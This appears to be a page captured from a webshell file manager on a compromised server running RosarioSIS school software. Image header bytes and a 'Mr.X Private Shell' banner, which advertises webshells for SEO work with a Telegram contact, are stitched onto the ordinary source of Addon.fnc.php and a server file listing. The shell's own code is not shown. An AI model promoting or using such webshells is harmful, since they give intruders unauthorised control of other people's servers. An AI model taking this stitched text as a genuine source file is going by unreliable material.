����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Add-on functions
* Used by Modules.inc.php & Plugins.inc.php
*
* @package RosarioSIS
*/
/**
* Make add-on Title (translate) + display README or README.md inside ColorBox
*
* @param string $type Add-on Type: 'module' or 'plugin'.
* @param string $addon_title Add-on Title.
* @param string $activated Is add-on activated (empty string or 'Y').
*
* @return string Add-on README HTML.
*/
function AddonMakeReadMe( $type, $addon_title, $activated = '' )
{
global $RosarioCorePlugins,
$RosarioCoreModules;
if ( ! in_array( $type, [ 'module', 'plugin' ] )
|| ! $addon_title )
{
return '';
}
// Format & translate plugin title
$addon_title_echo = _( str_replace( '_', ' ', $addon_title ) );
if ( ! in_array( $addon_title, $RosarioCorePlugins )
&& ! in_array( $addon_title, $RosarioCoreModules )
&& $activated )
{
$addon_title_echo = dgettext( $addon_title, str_replace( '_', ' ', $addon_title ) );
}
$readme_path = 'modules/' . $addon_title . '/README';
if ( $type === 'plugin' )
{
$readme_path = 'plugins/' . $addon_title . '/README';
}
$return = $addon_title_echo;
// if README.md file, display in Colorbox
if ( ! isset( $_REQUEST['_ROSARIO_PDF'] )
&& ( file_exists( $readme_path )
|| ( ( $readme_path = $readme_path . '.md' )
&& file_exists( $readme_path ) ) ) )
{
//get README.md content
$readme_content = file_get_contents( $readme_path );
// Convert MarkDown text to HTML.
$readme_content = '<div class="markdown-to-html">' . $readme_content . '</div>';
$return = '<div style="display:none;"><div class="addon-readme" id="README_' . $addon_title . '">' .
$readme_content . '</div></div>';
$return .= '<a class="colorboxinline" href="#README_' . $addon_title . '">' .
$addon_title_echo . '</a>';
}
return $return;
}
/**
* Delete Tree
* Recursively delete a directory and its files.
*
* If one of the files cannot be deleted,
* no files are deleted & `false` is returned.
* Dry run is always performed first.
*
* @param string $dir Directory to delete.
* @param string $mode delete|dryrun Mode (optional). Defaults to 'delete'.
* @return boolean true on success, else false.
*/
function AddonDelTree( $dir, $mode = 'delete' )
{
$return = true;
if ( $mode === 'delete' )
{
// Run dry run mode first.
$can_delete = AddonDelTree( $dir, 'dryrun' );
if ( ! $can_delete )
{
return false;
}
}
$files = array_diff( scandir( $dir ), [ '.', '..' ] );
foreach ( (array) $files as $file )
{
if ( is_dir( $dir . '/' . $file ) )
{
$return = AddonDelTree( $dir . '/' . $file, $mode );
}
elseif ( is_writable( $dir . '/' . $file ) )
{
if ( $mode !== 'dryrun' )
{
unlink( $dir . '/' . $file );
}
}
else
{
return false;
}
}
return $mode === 'dryrun' ? $return && is_writable( $dir ) : rmdir( $dir );
}
/**
* Make Add-on Activated column
*
* @param bool $activated Activated or not.
*
* @return string Activated column
*/
function AddonMakeActivated( $activated )
{
if ( isset( $_REQUEST['LO_save'] ) )
{
if ( $activated )
{
return _( 'Yes' );
}
return _( 'No' );
}
if ( $activated )
{
return button( 'check' );
}
return button( 'x' );
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Addon.fnc.php | File | 3.16 KB | 0644 |
|
| CalendarDay.inc.php | File | 9.18 KB | 0644 |
|
| Dashboard.inc.php | File | 1.92 KB | 0644 |
|
| DayToNumber.inc.php | File | 1.8 KB | 0644 |
|
| MarkingPeriods.fnc.php | File | 1.19 KB | 0644 |
|
| Modules.inc.php | File | 11.13 KB | 0644 |
|
| Plugins.inc.php | File | 11.83 KB | 0644 |
|
| Rollover.fnc.php | File | 8.43 KB | 0644 |
|
| Schools.fnc.php | File | 2.08 KB | 0644 |
|